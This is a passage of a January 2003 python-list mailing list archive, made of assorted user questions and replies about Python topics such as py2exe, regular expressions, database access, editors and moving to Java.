Message-ID: <20030127112513.GA671@matijek>

I've been working a few years with python. I'm  rather confident with
basic OO design principles. Now some people that I consult for might
be moving to Java. So I need to get up to speed with java. Are there
any good documents out there for people with a python background
coming to Java. 

I'm not so interested in syntactical questions (eg
"this is how we construct a for loop in python and this is how we do it
java") I'm more interested in OO design patterns that Java supports (I
know that it supports interfaces for one thing) that are not readily
available in python, and other important differences. Is it possible
to define new classes, functions, methods in Java? Are there even unbound
functions in Java? From the little I remember of that half Java
chapter I read years ago you have to define classes for everything
even for a print statement? These are the kind of questions I have.

alex


-- 

Alex Polite
http://plusseven.com/gpg



From Kevin.Smith at sas.com  Fri Jan 24 11:18:52 2003
From: Kevin.Smith at sas.com (Kevin Smith)
Date: 24 Jan 2003 16:18:52 GMT
Subject: Instance at two addresses (Python 2.2)?
Message-ID: <20030124111855332-0500@braeburn.themorgue.org>

I have a program that creates a large object consisting of nested lists.  
I then cache certain instances (which correspond to sections) of that 
object into a smaller list.  Then I process the document in various ways 
using the smaller list to jump to the sections in the large object.  
This worked fine in Python 2.0, but doesn't in Python 2.2.  Here is a 
simplified version of the offending code:

   def sectionsBefore(self):
      """ Return a list of sections that occur before 'self' in the 
document """
      list = []
      # Walk through cached document sections list
      for section in self.documentSections():
#
# This 'if' block works in Python 2.0, but not in Python 2.2.
# For some reason, in Python 2.2, 'self' isn't equivalent to 'section'
# at any point even though they appear to point to the same object
# based on other criteria (i.e. result of calling other methods).
#
         # If 'self' is the same object as 'section', then break
         # out and return the current list of sections.
         if section is self:
            list.reverse()
            return list
         # Keep looking.
         else:
            list.append(i)
      list.reverse()
      return list

Does anyone know what occurred in Python 2.2 to make this not work 
anymore?

-- 
Kevin Smith
Kevin.Smith at sas.com



From Paul_Rudin at scientia.com  Mon Jan 20 06:47:11 2003
From: Paul_Rudin at scientia.com (Paul Rudin)
Date: 20 Jan 2003 11:47:11 +0000
Subject: emacs pdb on windows problem
Message-ID: <ud6msjb5s.fsf@scientia.com>

I can't get pdb to work properly under windows 2000. I'm using emacs
21.2 (and the version of pdb/gud that ships with this), python 2.2.

There seems to be some problem with the way the output from the python
process is handled... nothing appears in the debug window, until I hit
q to terminate the session, and then all the output appears at
once. It's probably not too hard to fix, so I'll have a dig around
myslef, but I thought I'd ask in case anyone else already knows what
the problem is and how to fix it I thought I'd ask first.

TIA.

-- 
Kids, the seven basic food groups are GUM, PUFF PASTRY, PIZZA,
 PESTICIDES, ANTIBIOTICS, NUTRA-SWEET and MILK DUDS!!



From maxm at mxm.dk  Fri Jan 31 03:30:54 2003
From: maxm at mxm.dk (Max M)
Date: Fri, 31 Jan 2003 09:30:54 +0100
Subject: In continuing of my question...
In-Reply-To: <b1d6hf$175s$1@bull.east.ru>
References: <f918ac11.0301300759.4ac814bc@posting.google.com> <3a2j3vk8qgtqrm0mfrlvahfcl0pso5cf6r@4ax.com> <b1d6cq$175p$1@bull.east.ru> <b1d6hf$175s$1@bull.east.ru>
Message-ID: <Zsq_9.48864$Hl6.6190477@news010.worldonline.dk>

Nicolay Vasiliev wrote:
> Also I need to ask:
> which distribution is preffered from ActiveState or python.org?


Either one is fine, but ActiveState's has win32all allready included. So 
it is a *little* easier to set up on Windows.


-- 

hilsen/regards Max M Rasmussen, Denmark

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From bub at joos.us  Sat Jan 11 14:09:57 2003
From: bub at joos.us (Bubba)
Date: Sat, 11 Jan 2003 19:09:57 GMT
Subject: Newbie simple py2exe problem
References: <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com> <pete.joos@pobox.com>  of "Sat, 11 Jan 2003 14:15:02 GMT." <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com> <mailman.1042296260.10798.python-list@python.org> <o7j02vkju89bajmdm2jr2obkjik1i22bpc@4ax.com> <3E205B02.3F201C08@engcorp.com>
Message-ID: <jrq02v4rb3le6hfth6sk8nd8io1t8fmtt9@4ax.com>

On Sat, 11 Jan 2003 12:57:22 -0500, Peter Hansen <peter at engcorp.com>
wrote:This is what I got
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\ppj>cd
C:\Documents and Settings\ppj

C:\Documents and Settings\ppj>cd \

C:\>cd python22

C:\Python22>python setup.py py2exe
  File "setup.py", line 3
    from distutils.core import setup
    ^
SyntaxError: invalid syntax

C:\Python22>
This is my setup.py
# setup.py
   from distutils.core import setup
   import py2exe

   setup(name="counter",
         scripts=["counter.py"],
   )

>Bubba wrote:
>> 
>> On Sat, 11 Jan 2003 15:39:45 +0100, Laura Creighton <lac at strakt.com>
>>  wrote:thers is no traceback. I'm running XP as admin. Ran it in the
>> cmd window. Only error is the syntax error previously posted
>
>If Python gave you a "syntax error", there *is* a traceback... 
>At the very least, there is something that looks like this:
>
>  File "<stdin>", line 2
>    from distutils.core import setup
>                                    ^
>SyntaxError: invalid syntax
>
>
>What we need is for you to cut and paste *exactly* the message you
>are getting from your cmd window into the email message, rather than
>just retyping "syntax error".  
>
>With that, we'll have some confidence that you aren't just talking 
>about an import error, or an XP problem, or something else that
>isn't really a syntax error...
>
>-Peter




From BgPorter at NOartlogicSPAM.com  Tue Jan 28 13:34:27 2003
From: BgPorter at NOartlogicSPAM.com (Brett g Porter)
Date: Tue, 28 Jan 2003 13:34:27 -0500
Subject: python weblog apps?
References: <mailman.1043712589.29180.python-list@python.org> <J8SdnelIA738BKujXTWcow@comcast.com> <mailman.1043776207.24843.python-list@python.org>
Message-ID: <5fidnTRmD_F-UaujXTWc3Q@comcast.com>

"Mongryong" <Mongryong at sympatico.ca> wrote in message
news:mailman.1043776207.24843.python-list at python.org...
> Could someone explain the purpose of a weblog?
The short answer is that it's typically a personal website, with short posts
arranged in reverse-chronological order.

A more thorough history and discussion of the genre can be found at
http://www.rebeccablood.net/essays/weblog_history.html. Google can no doubt
point you toward other, similar documents.


--
//  Today's Oblique Strategy (? Brian Eno/Peter Schmidt):
//  Work at a different speed
//  Brett g Porter * BgPorter at acm.org







From gerhard.haering at opus-gmbh.net  Wed Jan 22 10:38:37 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 22 Jan 2003 15:38:37 GMT
Subject: Best SMTP/POP library?
References: <FEyX9.1$0L3.488@news2.news.adelphia.net>
Message-ID: <slrnb2ten0.1gg.gerhard.haering@haering.opus-gmbh.net>

Robert Oschler <Oschler at earthlink.net> wrote:
> I want to write my own email client, what is the best SMTP/POP library for
> Python 2.2? URL's please.

What's wrong with smtplib and poplib in the standard library?

smtplib is likely the only one that has support for SMTP/AUTH and SMTP over
TLS :-)

Other than that I only know that Twisted has support for these protocols.

Gerhard
-- 
Gerhard H?ring
OPUS GmbH M?nchen
Tel.: +49 89 - 889 49 7 - 32
http://www.opus-gmbh.net/



From anton.wilson at camotion.com  Wed Jan 29 15:16:48 2003
From: anton.wilson at camotion.com (anton wilson)
Date: Wed, 29 Jan 2003 15:16:48 -0500
Subject: Newbie: anything resembling static?
Message-ID: <200301291959.OAA16582@ns.nealtech.net>

Is there any way of imitating "static" C function variables without having to 
define the variable as a global? I just want persistent function variables 
but i want them to be local to the function namespace. :S



Anton




From derkgwen at HotPOP.com  Mon Jan 13 18:50:40 2003
From: derkgwen at HotPOP.com (Derk Gwen)
Date: Mon, 13 Jan 2003 23:50:40 -0000
Subject: Tk: How would I add an accelerator on a button/label in tkinter
Message-ID: <v26k6gcdm0tl4d@corp.supernews.com>

# How could I make the button pressed when user presses Alt-P
# on the keyboard? I saw accelerators on menus in Tk screenshots
# found on the web but I haven't seen any on standalone buttons.
# Is there any way to get those?

All a menu accelerator is is a comment on the displayed menu. To actually
implement the accelerator, you bind the key sequence to a command. This
binding is independent of whether there is button or menu that does the
same thing.

--
Derk Gwen http://derkgwen.250free.com/html/index.html
There are subtler ways of badgering a witness.



From boethius at techie.com  Wed Jan 15 16:21:19 2003
From: boethius at techie.com (Boethius)
Date: 15 Jan 2003 13:21:19 -0800
Subject: Detect when a class member is updated
References: <67446a0a.0301150634.f6d0c43@posting.google.com> <JreV9.3050$YI5.839@news2.central.cox.net> <slrnb2at1n.1hk.gerhard.haering@haering.opus-gmbh.net>
Message-ID: <67446a0a.0301151321.76ee5489@posting.google.com>

Gerhard H?ring <gerhard.haering at opus-gmbh.net> wrote in message news:<slrnb2at1n.1hk.gerhard.haering at haering.opus-gmbh.net>...

> Note that properties only work with new-style classes (inherited from
> object). See http://python.org/2.2.2/descrintro.html for details.

Thanks, this properties thing was totally unknown to me.



From max at alcyone.com  Tue Jan 28 01:54:07 2003
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 27 Jan 2003 22:54:07 -0800
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <3E31568E.FD9C92B5@engcorp.com> <b0s6fq$95s5@eccws12.dearborn.ford.com> <p9EY9.499$qb1.122@nwrddc01.gnilink.net> <b11pl8$llf$1@wheel2.two14.net> <HJ3Z9.987$P64.136@nwrddc02.gnilink.net> <b14p8o$q9c$1@wheel2.two14.net> <_anZ9.1125$8p1.842@nwrddc04.gnilink.net>
Message-ID: <3E36290F.14BAF379@alcyone.com>

Carl Banks wrote:

> I suppose "for i in [1]:" isn't as transparent as "while 1:", ...

ObTwoPointThree:  Or while True: ...!  :-)

> ... but
> idiom it's used for isn't as common.

Maybe it's just me, but I think the [1] (namely, the list that contains
a single 1) is the most confusing part, since it makes the construct
almost looks like there's something more going on behind it, and someone
really wants to do something with the variable i and the value 1.  I
would recommend something more like:

	for dummy in [None]:
	    ...

for this purpose.  This, at least to me, more clearly declares "this
variable is really not used for anything and neither is the value it
contains."

In fact, I can think of one area in my code where I do a sequence of
assign and tests (using regular expressions no less), I'm tempted to use
the pattern myself.  (At present it's at the top level of a function, so
it just returns when it finds a match and after it acts on it.)

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Peace with a cudgel in hand is war.
\__/ (a Portugese proverb)
    Blackgirl International / http://www.blackgirl.org/
 The Internet resource for black women.



From skip at pobox.com  Tue Jan  7 13:53:22 2003
From: skip at pobox.com (Skip Montanaro)
Date: Tue, 7 Jan 2003 12:53:22 -0600
Subject: Python + PostgreSQL
In-Reply-To: <kp3co497bt.fsf@wintermute.casa>
References: <kp65t0lxwp.fsf@wintermute.casa>
        <87of6sx33n.fsf@gvdnet.dk>
        <kp3co497bt.fsf@wintermute.casa>
Message-ID: <15899.8738.252087.533105@montanaro.dyndns.org>

    Jorge> Is there one that is more commonly used? Or I can try and use any
    Jorge> of those?  From the description on the page above PyGresQL seems
    Jorge> to be the one recommended... Am I wrong?

I use psycopg and like it fine.

Skip




From kkrueger at example.edu  Tue Jan  7 15:36:01 2003
From: kkrueger at example.edu (Karl A. Krueger)
Date: Tue, 7 Jan 2003 20:36:01 +0000 (UTC)
Subject: LDAP -- is python-ldap still "it"?
Message-ID: <avfdnh$3vq$1@baldur.whoi.edu>

We're looking down the barrel of an overhaul of site LDAP service, and
it looks like I will be assigned to write a certain amount of code that
manipulates and allows editing of LDAP records ... up to and likely
including a Web-based LDAP record editor, likely in Python.

I've used the python-ldap package in the past, and I'm wondering if this
is still the way to go for LDAP manipulation from Python -- if there are
other LDAP client libraries for Python I haven't found, for one.  (I'm a
little curious why there isn't LDAP in the standard library, but I
suppose that's just because there isn't yet.)

Thanks in advance for any advice ...

-- 
Karl A. Krueger <kkrueger at example.edu>
Woods Hole Oceanographic Institution
Email address is spamtrapped.  s/example/whoi/
"Outlook not so good." -- Magic 8-Ball Software Reviews



From lac at strakt.com  Thu Jan  9 01:48:36 2003
From: lac at strakt.com (Laura Creighton)
Date: Thu, 09 Jan 2003 07:48:36 +0100
Subject: best college for computer science major 
In-Reply-To: Message from sean@activeprime.com (Sean) 
   of "08 Jan 2003 12:49:12 PST." <ef7a350b.0301081249.232b8746@posting.google.com> 
References: <3e1ba232_6@nopics.sjc> <ef7a350b.0301081249.232b8746@posting.google.com> 
Message-ID: <200301090648.h096majL011779@ratthing-b246.strakt.com>

> "Tupoi" <EDB30 at msn.com> wrote in message news:<3e1ba232_6 at nopics.sjc>...
> > what are the best colleges for those wanting to major in computer science
> 
> The question is meaningless.  All undergrad CS is about the same. 
> Differences in programs don't show themselves until you get to
> graduate level.
> 
> That said, the (generally accepted) best (US) schools for graduate CS
> are Carnagie Mellon and MIT.
> -- 
> http://mail.python.org/mailman/listinfo/python-list

A frightening thought, if true, from the Land that claims to value
individualism ...

Laura Creighton




From grey at despair.dmiyu.org  Fri Jan  3 14:09:08 2003
From: grey at despair.dmiyu.org (Steve Lamb)
Date: Fri, 03 Jan 2003 19:09:08 -0000
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <87d6neay90.fsf@gvdnet.dk>
Message-ID: <slrnb1bnuk.o8n.grey@teleute.dmiyu.org>

On Fri, 03 Jan 2003 19:23:23 +0100, Martin Christensen
<knightsofspamalot-factotum at gvdnet.dk> wrote:
> What's more interesting, it looks like the vi camp is starting to chase
> Emacs, because the things that are being implemented for Vim is exactly what
> we've been doing all along for Emacs. Ironic, isn't it?

    I doubt we'll ever see a newsreader and email client in vim's scripting
lanuage.  BTW, pick one.  It has four that I am aware of and three of them are
discussed here heavilty.  Perl, Python and Ruby.  As I said before, it is the
penchant for craming everything and the kitchen sink into the editor which has
no business being there.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
    To email: Don't despair!   |  -- Lenny Nero, Strange Days
-------------------------------+---------------------------------------------



From jones57 at swbell.net  Sat Jan 25 04:30:45 2003
From: jones57 at swbell.net (sj)
Date: Sat, 25 Jan 2003 09:30:45 GMT
Subject: Compiled to bytecode like java?
References: <1YTX9.11024$AV4.1218@sccrnsc01>
Message-ID: <9PsY9.6$9S5.17718384@newssvr11.news.prodigy.com>

Joel May wrote:

> First, I'm not really familiar with Python, esp under the hood.
> 
> I'm looking for a script language to embed in a device.  I have a
> home-grown
> proprietary script language available, but it's rather primitive.  The
> nice
> thing about it is that the interpreter is very simple and small.  The
> source
> code is compiled to a byte code.  The byte code would be dumped on to the
> device and interpreted there.
> 
> I'd like to use a more powerful language.  Apparently, embedding Python in
> your C app is easy and well documented.
> 
> But I need to know:
> * What would be downloaded to the device?  Would it be the actual source
> code, which the interpreter would then parse and run?  Or is it a
> byte-code
> like Java?  This would have a smaller interpreter and run faster.
> * How complex is the Python source code?  If I port it to an
> python-unsupported processor (a dsp), would I kill myself trying to get it
> to work?  How many lines of source code are we talking about here?
> 
> Thanks in advance
> Joel


I'm of the opinion you should stick to a standard language instead of 
rolling your own.  As stated in other followups python is running on small 
devices.  If size is your main concern you may want to look at FORTH



From lac at strakt.com  Thu Jan  9 01:31:43 2003
From: lac at strakt.com (Laura Creighton)
Date: Thu, 09 Jan 2003 07:31:43 +0100
Subject: Python patch analog 
In-Reply-To: Message from Terry Hancock <hancock@anansispaceworks.com> 
   of "Wed, 08 Jan 2003 21:51:16 GMT." <o31T9.219$Dq.18655@newsread2.prod.itd.earthlink.net> 
References: <o31T9.219$Dq.18655@newsread2.prod.itd.earthlink.net> 
Message-ID: <200301090631.h096VhjL011675@ratthing-b246.strakt.com>

What happens when somebody's computer has a completely wrong idea what time
it is?  What happens when daylight savings time happens?  What happens
when you share data between users in different time zones? different
time zones with different rules for what day we start daylight savings?

Laura Creighton




From tismer at tismer.com  Thu Jan 16 06:08:34 2003
From: tismer at tismer.com (Christian Tismer)
Date: Thu, 16 Jan 2003 12:08:34 +0100
Subject: Changing truth
In-Reply-To: <7h38yxmp6mp.fsf@pc150.maths.bris.ac.uk>
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com> <HlGdnUonb9-FB72jXTWcoQ@comcast.com> <3E20A117.9020609@tismer.de> <mailman.1042326561.2537.python-list@python.org> <m28yxq9ljj.fsf@pchoel.1480-778.online.de> <mailman.1042653452.24211.python-list@python.org> <7h38yxmp6mp.fsf@pc150.maths.bris.ac.uk>
Message-ID: <3E2692B2.2060400@tismer.com>

Michael Hudson wrote:
> Christian Tismer <tismer at tismer.com> writes:
...

>>>>>bool(True == True)
>>
>>False
> 
> Now *that* I don't understand.

You are right. I didn't have Py 2.3 at hand
and was misleading myself.

>># ouch! Let's make these invulnerable, ASAP,
>># and None, too
> 
> 
> Hey, noone in this thread's even tried to fiddle with the builtins
> yet...

Right, the swaps were done via __main__, and even
if done in __builtins__, the above would have given
True.

What I think is that None, False and True have the
drawback that they are names, which can be changed.
I would like to make them like literals.
Nobody can try to write

1 = 42

-- 
Christian Tismer             :^)   <mailto:tismer at tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/





From max at alcyone.com  Wed Jan 15 21:42:46 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 15 Jan 2003 18:42:46 -0800
Subject: avoiding long paths to interpreter
References: <aviaqo$9k6$1@nntp1.jpl.nasa.gov> <8b67aef5.0301151202.1fa45343@posting.google.com>
Message-ID: <3E261C26.B6B6FB59@alcyone.com>

Tim Cargile wrote:

> There is a FAQ 4.63 from python.org regarding this but,
> as Erik Max Francis has pointed out in this thread, there may be
> limitations w/r '/usr/bin/env' that may eliminate using it and require
> use of the following (as the first three lines of a python module
> that is desired to be run):
> 
>   #! /bin/sh
>   """:"
>   exec python $0 ${1+"$@"}
>   """

This doesn't really resolve the issue; the Python interpreter it invokes
is still PATH-dependent, which was the problem with /usr/bin/env.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ And there inside our private war / I died the night before
\__/ Sade
    Bosskey.net: Counter-Strike / http://www.bosskey.net/cs/
 A personal guide to Counter-Strike.



From akuchlin at ute.mems-exchange.org  Fri Jan  3 11:23:04 2003
From: akuchlin at ute.mems-exchange.org (A.M. Kuchling)
Date: 03 Jan 2003 16:23:04 GMT
Subject: [Python-Dev] [development doc updates]
References: <20021231183847.B367218EC36@grendel.zope.com> <mailman.1041609344.28074.python-list@python.org>
Message-ID: <slrnb1be78.l3t.akuchlin@ute.mems-exchange.org>

In article <mailman.1041609344.28074.python-list at python.org>,
	Tino Lange wrote:
> In the "improved standard modules" - section of the "WhatsNew" & Co. 
> Texts the SSL support in imaplib.py is missing. (submitted March 2002 by 
> Piers Lauder and myself). Python 2.3 will be the first Python release in 
> which this change is official included.

Added to "What's New"; thanks!

Note that the imaplib changes aren't listed in Misc/NEWS at all;
someone should add them.  It looks like there are more enhancements
than just SSL support, but I don't know IMAP and can't be sure.

--amk                                                             (www.amk.ca)
If he was a mortician, the corpses would keep their eyes open.
      -- Glitz, in "Dragonfire"



From rganesan at myrealbox.com  Mon Jan  6 01:44:17 2003
From: rganesan at myrealbox.com (Ganesan R)
Date: 06 Jan 2003 12:14:17 +0530
Subject: Re. Python vs. Perl
References: <mailman.1041829871.6794.python-list@python.org>
Message-ID: <ou1y3qrd4u.fsf@andlx-anamika.cisco.com>

>>>>> "Amol" == Amol Sonaikar <amol at kenati.com> writes:

> Hi
> Thanks for your replies guys. Can python can be used in synch with Expect? 
> How the env should be set then? 

What do you mean by "in synch with Expect"? If you want expect like
functionality in python use pexpect (http://pexpect.sf.net). You don't need
Expect installed.

Ganesan

-- 
Ganesan R



From clifford.wells at attbi.com  Thu Jan 16 01:29:21 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 15 Jan 2003 22:29:21 -0800
Subject: Regex replacement operation
In-Reply-To: <20030116153725.C1683@regdp-02.intint.registriesltd.com.au>
References: <20030116153725.C1683@regdp-02.intint.registriesltd.com.au>
Message-ID: <1042698561.3593.127.camel@x1-6-00-04-5a-64-c4-03>

On Wed, 2003-01-15 at 20:37, David K. Trudgett wrote:
> I'm trying to write a little micro function in Python that takes a
> string with numeric dates in it and changes those dates into an
> ISO8601 format. The dates in the input string are in a consistent
> format, so that simplifies it. In Perl, I could write something like
> the following to do it:
> 
> $str = 'Today is 16-1-2003 or 16-01-2003. New Year was 1-1-2003, reportedly.';
> 
> $str =~ s/ \b (\d{1,2}) - (\d{1,2}) - (\d{4}) \b /
>     $3 . '-' . sprintf('%02d', $2) . '-' . sprintf('%02d', $1) /gxe;
> 
> which would make $str contain:
> 
> "Today is 2003-01-16 or 2003-01-16. New Year was 2003-01-01, reportedly."
> 
> 
> How would I go about doing that in Python?
> 
> I've looked up the "re" module, but don't see any "substitute"
> command, so it seems a different approach may be in order.

re.sub()

http://www.python.org/doc/current/lib/node99.html


Anyway, here are two different (yet similar) implementations.  The
second is mostly to demonstrate some useful features of the re module
and Python string interpolation.  I'm sure it can be done better :P


# ===== Example 1 ======

import re

s = 'Today is 16-1-2003 or 16-01-2003. New Year was 1-1-2003, reportedly.'

rexp = re.compile('(\d\d?-\d\d?-\d\d\d\d)')

for date in rexp.findall(s):
    subdate = date.split('-')
    subdate.reverse()
    subdate = "%d-%02d-%02d" % tuple([int(d) for d in subdate])
    s = re.sub(date, subdate, s)

print s


# ===== Example 2 ======


s = 'Today is 16-1-2003 or 16-01-2003. New Year was 1-1-2003, reportedly.'

rexp = re.compile('(?P<date>(?P<day>\d\d?)-(?P<month>\d\d?)-(?P<year>\d\d\d\d))')

for match in rexp.finditer(s):
    groupdict = match.groupdict()
    for i in groupdict:
        try:
            groupdict[i] = int(groupdict[i])
        except ValueError: # date key isn't a valid int
            pass
    subdate = "%(year)d-%(month)02d-%(day)02d" % groupdict
    s = re.sub(groupdict['date'], subdate, s)

print s


-- 
Cliff Wells <clifford.wells at attbi.com>





From exarkun at intarweb.us  Sun Jan 19 22:38:09 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Sun, 19 Jan 2003 22:38:09 -0500
Subject: comprehensions was Re: Switch statements again
In-Reply-To: <3E2B5DD7.CA1AC179@alcyone.com>
References: <mailman.1042817433.6322.python-list@python.org> <3E2B5DD7.CA1AC179@alcyone.com>
Message-ID: <20030120033809.GA26093@meson.dyndns.org>

On Sun, Jan 19, 2003 at 06:24:23PM -0800, Erik Max Francis wrote:
> [snip]
> 
> People don't really commonly use the (p and [x] or [y])[0] trick, do
> they?

  Commonly?  No, I don't believe so.  Commonly, I use:

  if p:
    x
  else:
    y

  Occassionally I use the above trick, though.  It is useful as the body of
a callback lambda, for example.

  Jp

--
 12:00am up 34 days, 9:48, 3 users, load average: 0.23, 0.25, 0.22
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030119/3b080f4d/attachment.sig>

From nav at adams.patriot.net  Wed Jan  8 08:45:18 2003
From: nav at adams.patriot.net (Nick Vargish)
Date: 08 Jan 2003 08:45:18 -0500
Subject: best python editor/ide for windows
References: <60FB8BB7F0EFC7409B75EEEC13E2019201BFDE9D@admin56.narex.com> <mailman.1041977333.13900.python-list@python.org>
Message-ID: <yyyr8bn4uxd.fsf@adams.patriot.net>

I'm quite partial to XEmacs under win32, it's one of the things I
always install when I expect to be in front of a Windows machine for
real work.

Nick

p.s. Please note my new pythonic signature. :^)

-- 
# sigmask.py  ||  version 0.2  ||  2003-01-07  ||  Feed this to your Python.
print reduce(lambda x,y:x+chr(ord(y)-1),'Ojdl!Wbshjti!=obwAqbusjpu/ofu?','')





From s802645999 at yahoo.com  Fri Jan  3 05:46:37 2003
From: s802645999 at yahoo.com (ghostdog)
Date: Fri, 3 Jan 2003 02:46:37 -0800 (PST)
Subject: Python DBI
Message-ID: <20030103104637.76535.qmail@web14508.mail.yahoo.com>


hi

does the dbi and odbc supplied with the windows version of python enable

calling of stored procedures like 

mycursor.execute("sp_configure") ???

if so, how do i get the results of sp_configure for example??

it gives me "Invalid cursor state. in FETCH" when i use the following steps

test = "sp_configure"

cur.execute(test)
result = cur.fetchall()

print result

thanks



---------------------------------
Do you Yahoo!?
Yahoo! Mail Plus - Powerful. Affordable. Sign up now
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030103/79b3d2bd/attachment.html>

From oblivious at web.de  Sat Jan  4 06:40:29 2003
From: oblivious at web.de (Dominic)
Date: Sat, 04 Jan 2003 12:40:29 +0100
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <slrnb18rrp.7kd.rmunn@rmunnlfs.dyndns.org> <slrnb19use.h00.grey@teleute.dmiyu.org> <3e154de3_2@mk-nntp-2.news.uk.tiscali.com> <3E156ABB.CC059072@alcyone.com> <pan.2003.01.03.13.48.50.113237@webone.com.au> <3E159693.28FEE9BC@alcyone.com> <pan.2003.01.04.01.01.52.354089@webone.com.au>
Message-ID: <3E16C82D.4080509@web.de>

> One thing i noticed when teaching newbies with emacs: it's possible to do
> much damage with 2 or 3 keystrokes. But of course, we are not comparing

> emacs to vim; it took me about 10 years to recover from my initial
> shock-horror reaction to vi, but now i use it (well, vim) all the time :) .
Same with me. But it took me not ten years but only a few.
Currently I make gvim behave somewhat more like an average editor 
(Ctrl-S saves without leaving editing mode)
Syntax highlighting looks like in IDLE (though I messed up some files
in /usr/local/share/vim... etc to get rid of the bold font faces,since
colorschemes did not seem to override them..:( )
but I have not figured out yet how to integrate python similar to the 
C-compiler and make support.
I think it is even possible to limit vim to editing mode so that it
can be used like an average point-and-click editor.

Ciao,
  Dominic


> 
> bye,
> Simon Burton
> 




From geoff at gerrietts.net  Thu Jan 30 19:16:45 2003
From: geoff at gerrietts.net (Geoff Gerrietts)
Date: Thu, 30 Jan 2003 16:16:45 -0800
Subject: Python Success Stories or Nightmares
In-Reply-To: <1043966994.2227.113.camel@refugeeMedia>
References: <1043966994.2227.113.camel@refugeeMedia>
Message-ID: <20030131001645.GC18449@isis.gerrietts.net>

Quoting Mongryong (Mongryong at sympatico.ca):
> Let's hear people's success stories with Python and why they did the
> switch.  Or, tell us about you're Python nightmare and why you're still
> questionable about the language as more than a 'glue' language.

I work at a firm with a couple hundred thousand lines of Python
running our app. Here's a quick summary of the good, the bad, and the
ugly.

Before I start, let me note that "any other language I've worked in"
refers to C, Objective C, Java, C++, and Perl. I suppose you could put
shell or awk or sed in there too, but I don't really consider them
programming languages; any real programming I've done in shell
qualifies as accidental.

Good stuff:
- We deliver product religiously every 2 weeks, and sometimes every
  week. We deliver substantial products in a fraction of the time it
  would take to develop in any other language I've worked in.

- The resulting code is extremely readable, even when written by
  gurus, or when written by rank novices. Maintaining another person's
  code is very easy, especially when compared to maintaining another
  person's code in pretty much any other language I've worked in.

- The code platform is very stable. Defects have only once or twice
  been attributable to python or the extensions we use, and even those
  issues have been pretty minor.

- The code is very flexible. Our business changes with the passing
  breeze (the breaking wind?), and the code changes to meet the latest
  and greatest expectations. We've had very good results refactoring
  existing software to new uses.

- Unit tests are amazingly easy to write, since you can "stub in"
  dependencies in lots of different ways.

Bad stuff:
- A couple hundred thousand lines of Python doesn't always run as fast
  as you might like. We spend a decent amount of time trying to
  identify and remove bottlenecks. We have met with varying degrees of
  success.

- Everything happens at runtime, so typos in infrequently-used code
  paths can still yield runtime errors. I think pychecker would
  alleviate some of this trouble, if pychecker worked more cleanly
  with our code.

- No stand-alone profiling. No external debugging. To us, this has
  meant that it's somewhere between difficult and impossible to attach
  a debugger to much of our running code; it all runs inside a
  threaded server context that does not permit straightforward use of
  the debugging and profiling modules.

Ugly stuff:
- Despite the ease of writing tests, I'm pretty much the only one in
  the office who believes in them, and that presents a Herculean
  challenge every time I set out to write a test battery. Meanwhile,
  the tests will not be updated when the code changes, so we have that
  particular cross to bear. Or I do, at least, everyone else seems
  largely unaware of the large wooden structure on their shoulders.

- We've encountered resistance when trying to move forward to newer
  versions of the app server, the python language, the operating
  system, and other dependencies. It takes enough changes to various
  pieces of our system that it requires a substantial investment of
  migration time, and last time we got close to a working version, the
  plug was pulled on the project before it got into testing. This is a
  consequence of organizational laziness (we haven't kept up), some
  lack of a solid business case (things are working, and convenience
  of development is hard to gauge), and partly the open source shuffle
  (where every piece has a dependency on some particular version of
  some other thing).


> I for one would like to know, if anyone has written a 'real' compiler
> for Python like "jcc" is for Java?  What are some of the difficulties in
> writing such a compiler (type-checking and dynamic importing to
> start...).

I think Psyco is as close as anyone's come to date, though I've heard
some discussion around the fringes indicating interest. No real
action, though.

--G.

-- 
Geoff Gerrietts             <geoff at gerrietts dot net>
  I AM YOUR KING! BOW BEFORE ME, PEASANT!   -- Dogbert




From riccardo at Togli_Quest0sideralis.net  Sun Jan 12 11:45:33 2003
From: riccardo at Togli_Quest0sideralis.net (Riccardo Galli)
Date: Sun, 12 Jan 2003 17:45:33 +0100
Subject: pythoncard: what's wrong in my code?
Message-ID: <pan.2003.01.12.16.45.28.368632@Togli_Quest0sideralis.net>

This little program start a thread, which every 1 second modify a text
widget.
